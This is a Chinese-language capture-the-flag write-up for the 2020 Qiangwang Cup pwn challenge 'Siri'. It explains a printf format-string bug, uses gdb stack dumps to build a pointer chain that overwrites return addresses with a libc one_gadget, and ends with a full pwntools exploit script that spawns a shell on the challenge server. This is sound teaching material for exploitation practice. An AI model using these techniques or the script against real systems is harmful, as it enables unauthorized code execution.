2020强网杯Siri记录

题目检查

checksec检查,保护全开。ida看下函数功能,发现sub_1212函数有格式化字符串漏洞:

__int64 __fastcall sub_1212(const char *a1)
{
  char *v2; // [rsp+18h] [rbp-128h]
  char s[280]; // [rsp+20h] [rbp-120h] BYREF
  unsigned __int64 v4; // [rsp+138h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = strstr(a1, "Remind me to ");
  if ( !v2 )
    return 0LL;
  memset(s, 0, 0x110uLL);
  sprintf(s, ">>> OK, I'll remind you to %s", v2 + 13);
  printf(s);
  puts(&::s);
  return 1LL;
}

main函数:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s1[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(s1, 0, 0x100uLL);
  s1[256] = 0;
  sub_11C5();
  printf(">>> ");
  while ( read(0, s1, 0x100uLL) )
  {
    if ( !strncmp(s1, "Hey Siri!", 9uLL) )
    {
      puts(">>> What Can I do for you?");
      printf(">>> ");
      read(0, s1, 0x100uLL);
      if ( !(unsigned int)sub_1326(s1) && !(unsigned int)sub_12E4(s1) && !(unsigned int)sub_1212(s1) )
        puts(">>> Sorry, I can't understand.");
    }
    memset(s1, 0, 0x100uLL);
    printf(">>> ");
  }
  return 0LL;
}

思路

一直在循环,挑不出main函数,这里可以根据格式化字符串的长度没有很严格的限制0x100,可以泄露libc基址和rbp地址,通过找适合的二级指针,修改目的地址为one_gadget,再修改sub_1212函数的返回值为main函数的leave ret,从而跳出循环,在main函数leave ret的时候,就执行到了我们构造好的onegadget,从而拿到shell。

调试

gdb调试到漏洞函数sub_1212的printf处,查看栈,寻找适合的二级指针和格式化字符串偏移:

0248| 0x7ffe6e9eb9c8 --> 0x0 
0256| 0x7ffe6e9eb9d0 --> 0x7ffe6e9eba00 --> 0x1769f9ca0 
0264| 0x7ffe6e9eb9d8 --> 0x1936bd5c5fb05900 
0272| 0x7ffe6e9eb9e0 --> 0x55b1510504d0 (push   r15)
0280| 0x7ffe6e9eb9e8 --> 0x7f427642a840 (<__libc_start_main+240>:	mov    edi,eax) <------ leak libc
0288| 0x7ffe6e9eb9f0 --> 0x1 
0296| 0x7ffe6e9eb9f8 --> 0x7ffe6e9ebac8 --> 0x7ffe6e9ec1a7 ("./main.bak")   <------- point1
0304| 0x7ffe6e9eba00 --> 0x1769f9ca0 
0312| 0x7ffe6e9eba08 --> 0x55b151050368 (push   rbp)
0320| 0x7ffe6e9eba10 --> 0x0 
0328| 0x7ffe6e9eba18 --> 0x2ccd0cfa58d2267e 
0336| 0x7ffe6e9eba20 --> 0x55b1510500e0 (xor    ebp,ebp)
0344| 0x7ffe6e9eba28 --> 0x7ffe6e9ebac0 --> 0x1 
0352| 0x7ffe6e9eba30 --> 0x0 
0360| 0x7ffe6e9eba38 --> 0x0 
0368| 0x7ffe6e9eba40 --> 0x785373cd2292267e 
0376| 0x7ffe6e9eba48 --> 0x792b42751e82267e 
0384| 0x7ffe6e9eba50 --> 0x0 
0392| 0x7ffe6e9eba58 --> 0x0 
--More--(50/120)
0400| 0x7ffe6e9eba60 --> 0x0 
0408| 0x7ffe6e9eba68 --> 0x7ffe6e9ebad8 --> 0x7ffe6e9ec1b2 ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0416| 0x7ffe6e9eba70 --> 0x7f42769fb168 --> 0x55b15104f000 --> 0x10102464c457f 
0424| 0x7ffe6e9eba78 --> 0x7f42767e480b (<_dl_init+139>:	jmp    0x7f42767e47e0 <_dl_init+96>)
0432| 0x7ffe6e9eba80 --> 0x0 
0440| 0x7ffe6e9eba88 --> 0x0 
0448| 0x7ffe6e9eba90 --> 0x55b1510500e0 (xor    ebp,ebp)
0456| 0x7ffe6e9eba98 --> 0x7ffe6e9ebac0 --> 0x1 
0464| 0x7ffe6e9ebaa0 --> 0x0 
0472| 0x7ffe6e9ebaa8 --> 0x55b15105010a (hlt)
0480| 0x7ffe6e9ebab0 --> 0x7ffe6e9ebab8 --> 0x1c 
0488| 0x7ffe6e9ebab8 --> 0x1c 
0496| 0x7ffe6e9ebac0 --> 0x1 
0504| 0x7ffe6e9ebac8 --> 0x7ffe6e9ec1a7 ("./main.bak")    <---------point2
0512| 0x7ffe6e9ebad0 --> 0x0 
0520| 0x7ffe6e9ebad8 --> 0x7ffe6e9ec1b2 ("QT_QPA_PLATFORMTHEME=appmenu-qt5")

发现可以利用这两个指针,达到修改0x7f427642a840 (libc_start_main)为onegadget,为什么呢?因为libc_start_main是main函数返回的地址,我们将他改成onegadget后当main函数结束就会执行onegadget。如何修改呢?就要用上面的两个指针结合格式化字符串去修改(格式化字符串%n会向偏移的地址指向的内容处写,也就是下面**标记的地址,不能向¥¥之间写,它只能泄露),我们现在有两个指针(*号偏移85,¥偏移111),如下:

0616| $0x7ffccda42a28* --> 0x7fa11b2f0840 (<__libc_start_main+240>:	mov    edi,eax)
0624| 0x7ffccda42a30 --> 0x1 
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> **0x7ffccda441a7** ("./main.bak")
***
***
0840| 0x7ffccda42b08 --> ¥0x7ffccda441a7¥ ("./main.bak")
0848| 0x7ffccda42b10 --> 0x0 

将** **的地址改成 $*之间的地址,这样就构造了三级链,继而下面的¥¥之间的变成了二级链,就可以实现对libc_start_main的修改了,如下:

0616| $0x7ffccda42a28$ --> 0x7fa11b2f0840 (<__libc_start_main+240>:	mov    edi,eax)
0624| 0x7ffccda42a30 --> 0x1 
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> $0x7ffccda42a28 --> 0x7fa11b2f0840 (<__libc_start_main+240>:	mov    edi,eax)
0640| 0x7ffccda42a40 --> 0x11b8bfca0 
***
***
0840| 0x7ffccda42b08 --> $0x7ffccda42a28 --> **0x7fa11b2f0840** (<__libc_start_main+240>:	mov    edi,eax)
0848| 0x7ffccda42b10 --> 0x0 

此时可以通过格式化字符串,向0x7ffccda42b08处修改** **内的地址为onegadget,即间接实现了对0616| 0x7ffccda42a28 --> 0x7fa11b2f0840 (<__libc_start_main+240>: mov edi,eax)的修改,建议用%offest$hn两字节修改,较容易成功。这里说一下修改原理,假设(onegadget为0x7ffccda4527a)%hn修改地址的低两个字节内容,所以可以用%str(int('0x527a',16))%111$hn对目标地址后两字节进行修改,关键是接下来的两字节怎么改?这里可以将0x7ffccda42a28+2(如果用hhn一个字节修改就+1)之后进行修改,可以查看内存:

gdb-peda$ x/16hx 0x7ffccda42a28
0x7ffccda42a28:	$0x0840*	0x1b2f	0x7fa1	0x0000	0x0001	0x0000	0x0000	0x0000
0x7ffccda42a38:	0x2b08	0xcda4	0x7ffc	0x0000	0xfca0	0x1b8b	0x0001	0x0000
gdb-peda$ x/16hx 0x7ffccda42a2a
0x7ffccda42a2a:	$0x1b2f*	0x7fa1	0x0000	0x0001	0x0000	0x0000	0x0000	0x2b08
0x7ffccda42a3a:	0xcda4	0x7ffc	0x0000	0xfca0	0x1b8b	0x0001	0x0000	0x4368

可以看到$*号处确实是我们要改的字节。就这样循环可以将地址全部修改,这里前面高地址相同,只需要修改后四个字节。修改好后:

0600| 0x7ffccda42a18 --> 0x56592fa2c159c100 
0608| 0x7ffccda42a20 --> 0x5580fd3844d0 (push   r15)
0616| 0x7ffccda42a28 --> $0x7ffccda4527a (<exec_comm+2263>:	mov    rax,QWORD PTR [rip+0x2d2caa]        # 0x7fa11b693eb8)
0624| 0x7ffccda42a30 --> 0x1 

修改好后相当于main函数返回地址已经被替换,接下来就是要劫持漏洞函数sub_1212的返回地址,改成main函数leav ret,之后就能到达我们构造好的onegadget了,栈如下:

0304| 0x7ffccda428f0 --> 0x0                                                
0312| 0x7ffccda428f8 --> 0x56592fa2c159c100                               <--canary
0320| 0x7ffccda42900 --> 0x7ffccda42a20 --> 0x5580fd3844d0 (push   r15)   <--rbp
0328| 0x7ffccda42908 --> $0x5580fd38444c* (test   eax,eax)                <--ret
0336| 0x7ffccda42910 ("Remind me to %10477s%85$hn\n")
0344| 0x7ffccda42918 ("e to %10477s%85$hn\n")
***
***
0592| 0x7ffccda42a10 --> 0x7ffccda42b00 --> 0x1 
--More--(75/120)
0600| 0x7ffccda42a18 --> 0x56592fa2c159c100                                               <--main canary
0608| 0x7ffccda42a20 --> 0x5580fd3844d0 (push   r15)                                         <--main rbp
0616| 0x7ffccda42a28 --> 0x7ffccda4527a (<exec_comm+2263>:	mov    rax,QWORD PTR [rip+0x2d2caa])      <--main ret  onegadget
0624| 0x7ffccda42a30 --> 0x1 
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> ¥0x7ffccda42908 --> 0x5580fd38444c (test   eax,eax)

想修改$0x5580fd38444c*为leave ret ,还是利用那两个指针,将¥处改为rbp+8(即返回地址0x7ffccda42908),如上面¥处所示,然后再利用偏移为111的指针对0x5580fd38444c的低位进行修改,变成0x5580fd3844c1(main leave ret),进而达到间接修改ret的地址,如下:

0304| 0x7ffccda428f0 --> 0x0 
0312| 0x7ffccda428f8 --> 0x56592fa2c159c100 
0320| 0x7ffccda42900 --> 0x7ffccda42a20 --> 0x5580fd3844d0 (push   r15)
0328| 0x7ffccda42908 --> $0x5580fd3844c1 (leave)                <--ret已经修改
0336| 0x7ffccda42910 ("Remind me to %166s%111$hhn\n")
0344| 0x7ffccda42918 ("e to %166s%111$hhn\n")
0352| 0x7ffccda42920 ("6s%111$hhn\n")
0360| 0x7ffccda42928 --> 0xa6e68 ('hn\n')
***
0584| 0x7ffccda42a08 --> 0x0 
0592| 0x7ffccda42a10 --> 0x7ffccda42b00 --> 0x1 
--More--(75/120)
0600| 0x7ffccda42a18 --> 0x56592fa2c159c100 
0608| 0x7ffccda42a20 --> 0x5580fd3844d0 (push   r15)
0616| 0x7ffccda42a28 --> 0x7fa11b3c1207 (<exec_comm+2263>:	mov    rax,QWORD PTR [rip+0x2d2caa]        # 0x7fa11b693eb8)
0624| 0x7ffccda42a30 --> 0x1 
0632| 0x7ffccda42a38 --> 0x7ffccda42b08 --> 0x7ffccda42908 --> $0x5580fd3844c1 (leave)   第一个指针
0640| 0x7ffccda42a40 --> 0x11b8bfca0 
***
0816| 0x7ffccda42af0 --> 0x7ffccda42af8 --> 0x1c 
0824| 0x7ffccda42af8 --> 0x1c 
0832| 0x7ffccda42b00 --> 0x1 
0840| 0x7ffccda42b08 --> 0x7ffccda42908 --> $0x5580fd3844c1 (leave)  第二个指针

修改完后,当漏洞函数返回就会返回到main函数leave ret ,mian的leave ret只想完成后就可得到shell。

[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x75 bytes:
    'core\t      main\tpeda-session-dash.txt\t   siri1.py  test.py\n'
    'libc-2.27.so  main.bak\tpeda-session-main.bak.txt  siri.py\n'
core          main    peda-session-dash.txt       siri1.py  test.py
libc-2.27.so  main.bak    peda-session-main.bak.txt  siri.py
$

做的时候注意onegadget使用条件是否满足。

gdb-peda$ x/16gx 0x7ffcc106c260+0x70
0x7ffcc106c2d0:	0x0000000000000000	0x00007ffcc106c348
0x7ffcc106c2e0:	0x00007fb4912ce168	0x00007fb4910b780b
0x7ffcc106c2f0:	0x0000000000000000	0x0000000000000000

可以看到满足rsp+0x70==null情况,有些不满足用不了,创造条件的方法还要留个坑,以后再补充。

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "main.bak"
arch = '64'
version = '2.23'
ip, port = '123.56.170.202',12124
context.terminal = ['terminator','-x','sh','-c']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
    p=process('./'+pwn_name)
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p=remote(ip,port)
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
    if(arch == '64'):
        if(version == '2.23'):
            one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        if (version == '2.27'):
            #one = [0x4f2c5 , 0x4f322 , 0x10a38c]
            one = [0x4f365 , 0x4f3c2 , 0x10a45c]
    return one

def sym(func):
    success('{} => {:#x}'.format(func , libc.sym[func]))
    return libc.sym[func]

def info(con,leak):
    success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
    if address==0:
        gdb.attach(p)
        pause()
    else:
        if address > 0xfffff:
            script="b *{:#x}\nc\n".format(address)
        else:
            script="b *$rebase({:#x})\nc\n".format(address)
        gdb.attach(p, script)
one = get_one()

#-------------stack----------------

p.sendlineafter(">>> ","Hey Siri!")

payload="Remind me to "+'%'+str(83)+'$p'+'%'+str(85)+'$p'
dbg()
p.sendlineafter("?\n>>> ",payload)
con=p.recv()

leak=int(con[29:41],16)
libc.address=leak- 240 - libc.sym['__libc_start_main'] #240需要调试
info("leak",leak)
info("libc",libc.address)

leak=int(con[43:55],16) #偏移为85的地址
main_addr=leak-0xe0

rbp_addr=leak-0x208 #需要调试
info("leak",leak)
info("main_addr",main_addr)
info("rbp_addr",rbp_addr)
info("onegadget:",libc.address+one[1])
p.sendline("Hey Siri!")

attack=(main_addr&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
p.sendlineafter("?\n>>> ",payload)

p.sendlineafter(">>> ","Hey Siri!")

attack=(libc.address+one[3]&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hn'
p.sendlineafter("?\n>>> ",payload)

p.sendlineafter(">>> ","Hey Siri!")
attack=((main_addr+2)&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn' #27是前面已经输出了27字符
p.sendlineafter("?\n>>> ",payload)
p.sendlineafter(">>> ","Hey Siri!")

attack=(((libc.address+one[3])>>16)&0xff)
info("attack",attack)

payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hhn'
p.sendlineafter("?\n>>> ",payload)

p.sendlineafter(">>> ","Hey Siri!")
attack=(rbp_addr+8&0xffff) #修改指向返回地址
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
#dbg()
p.sendlineafter("?\n>>> ",payload)

p.sendlineafter(">>> ","Hey Siri!")
#dbg(0x12B1)

attack=0xc1   #修改返回地址为main函数leave ret,c1需要调试确定位数
info("attack",attack)

payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hhn'
p.sendlineafter("?\n>>> ",payload)

p.interactive()
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值